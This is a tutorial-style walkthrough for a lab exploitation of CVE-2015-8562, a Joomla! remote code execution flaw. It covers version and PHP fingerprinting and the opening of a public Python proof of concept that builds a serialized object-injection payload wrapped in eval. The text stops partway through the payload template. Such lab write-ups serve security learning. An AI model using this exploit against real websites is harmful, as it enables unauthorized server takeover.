Exploiting CVE-2015-8562 (A New Joomla! RCE)
Introduction:
A critical remote code execution(RCE) vulnerability was discovered in Joomla! websites. This is making a lot of noise because of the following reasons.
- It appears that attackers started exploiting this even before the disclosure(0-day).
- It is very easy to exploit this vulnerability.
- Almost all the versions of Joomla are vulnerable under with certain conditions.
What is this vulnerability?
At its core, this is an input validation issue. An attacker can inject arbitrary input using the X-FORWARDED-FOR or User-Agent header to achieve code execution. Detailed analysis has already been covered here, so let’s not re-invent the wheel.
Who is vulnerable?
All versions of the Joomla! below 3.4.6 are known to be vulnerable. But exploitation is possible with PHP versions below 5.5.29, 5.6.13 and below 5.5.
Lab Setup:
I have created a VM for the readers to get hands on experience while reading this article. It can be downloaded from this link. So, if you want to get the taste of exploiting this vulnerability, download this VM before you proceed further.
Login credentials for the VM are as shown below.
Username: joomla
Password: joomla
The application is hosted at http://<ip address>/joomla/
Kali Linux is the attacker’s machine.
Information Gathering:
Let’s gather some information about the target as we do in a typical black box pentest.
The default Joomla! Installations come with an administrator control panel at /administrator/ path.
This confirms that the target is running Joomla!. We can also find Joomla! installations using other ways but I am leaving them to you.
Finding out the Joomla version:
One of the common ways to find Joomla! version is to check “/language/en-GB/en-GB.xml” file.
Let’s do it.
The above figure shows the target version as 3.4.3
Metasploit has got a scanner to find this. We can use that as well.
The above figure shows the Metasploit’s Joomla! version scanner.
PHP Version:
Another important thing we need to remember here is the PHP version. As mentioned earlier, exploitation is possible with PHP versions below 5.5.29, 5.6.13 and below 5.5.
We can use curl to find the PHP version. Run the following command and observe the response headers.
curl –v –X HEAD http://<ipaddress>/joomla/
The above figure shows the PHP version installed on the target box. Well, we are on our way to exploit this box as the PHP version is matching our requirement.
Exploitation:
As mentioned in the beginning, this vulnerability is being exploited before it’s public disclosure. But, following is one of the first public exploits available online to exploit this vulnerability.
Download links:
(or)
https://www.exploit-db.com/exploits/38977/
”’
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
”’
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
‘User-Agent’: user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
“Convert string to chr(xx).chr(xx) for use in php”
encoded = “”
for char in data:
encoded += “chr({0}).”.format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = “eval({0})”.format(php_str_noquotes(php_payload))
terminate = ‘xf0xfdxfdxfd’;
exploit_template = r”’}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”